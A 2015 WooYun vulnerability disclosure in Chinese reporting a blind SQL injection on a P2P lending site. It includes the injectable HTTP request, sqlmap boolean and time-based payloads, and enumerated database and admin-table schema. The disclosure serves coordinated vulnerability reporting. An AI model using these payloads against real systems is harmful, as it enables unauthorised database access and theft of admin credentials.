当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0128247

漏洞标题:P2P金融安全之好贷网某站存在SQL盲注各种admin

相关厂商:好贷网

漏洞作者: 二维码

提交时间:2015-07-22 07:34

修复时间:2015-09-05 10:40

公开时间:2015-09-05 10:40

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:18

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-22: 细节已通知厂商并且等待厂商处理中
2015-07-22: 厂商已经确认,细节仅向厂商公开
2015-08-01: 细节向核心白帽子及相关领域专家公开
2015-08-11: 细节向普通白帽子公开
2015-08-21: 细节向实习白帽子公开
2015-09-05: 细节向公众公开

简要描述:

好在是布尔型盲注,跑的速度还行。表里各种admin amount

详细说明:

注入点:

GET /list/index/city/beijing*/xd_type/gouche/money/10/month/12.html HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://open.haodai.com:80/
Cookie: PHPSESSID=gc4u5iaklethl5v2c7ap443562; city=beijing; LANDING_PAGE=http%3A%2F%2Fopen.haodai.com%2F; desktop=0; REFERER=open.haodai.com; SOURCE_URL=http%3A%2F%2Fopen.haodai.com%2F
Host: open.haodai.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*

漏洞证明:

back-end DBMS: MySQL 5.0.12
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://open.haodai.com:80/list/index/city/beijing') AND 2827=2827 AND ('IkuO'='IkuO/xd_type/gouche/money/10/month/12.html
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: http://open.haodai.com:80/list/index/city/beijing') AND (SELECT * FROM (SELECT(SLEEP(5)))WiVp) AND ('uRUa'='uRUa/xd_type/gouche/money/10/month/12.html
---
back-end DBMS: MySQL 5.0.12
available databases [2]:
[*] hd
[*] information_schema


user:

back-end DBMS: MySQL 5.0.12
current user: 'liuliang_r@192.168.1.%'


admin表:

back-end DBMS: MySQL 5.0.12
Database: hd
Table: admin
[24 columns]
+--------------+-----------------------+
| Column | Type |
+--------------+-----------------------+
| agent_num | char(12) |
| agent_passwd | varchar(16) |
| agent_phone | varchar(16) |
| auth | varchar(1024) |
| citys | text |
| citys_iued | text |
| email | varchar(255) |
| id | int(10) unsigned |
| isreadtj | tinyint(1) unsigned |
| iutypes | text |
| menuid | smallint(5) unsigned |
| name | varchar(32) |
| pwd | char(60) |
| pwd_key | varchar(32) |
| qq | char(11) |
| relation | int(10) unsigned |
| role | varchar(10) |
| stat | tinyint(3) unsigned |
| tel | char(11) |
| tquin | int(11) unsigned |
| type | tinyint(3) unsigned |
| weixin | char(32) |
| xdtypes | text |
| zone_id | mediumint(8) unsigned |
+--------------+-----------------------+


太晚了,具体的一些敏感信息就不跑了,毕竟是金融站。

修复方案:

这个你们更专业

版权声明:转载请注明来源 二维码@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-07-22 10:38

厂商回复:

多谢

最新状态:

暂无


漏洞评价:

评论

  1. 2015-09-05 13:35 | ddbug ( 路人 | Rank:18 漏洞数:9 )

    怎么知道在那个地方呢?

  2. 2015-09-17 10:47 | BeenQuiver ( 普通白帽子 | Rank:101 漏洞数:26 | 专注而高效,坚持好的习惯千万不要放弃)

    怎么网贷注入的payload都差不多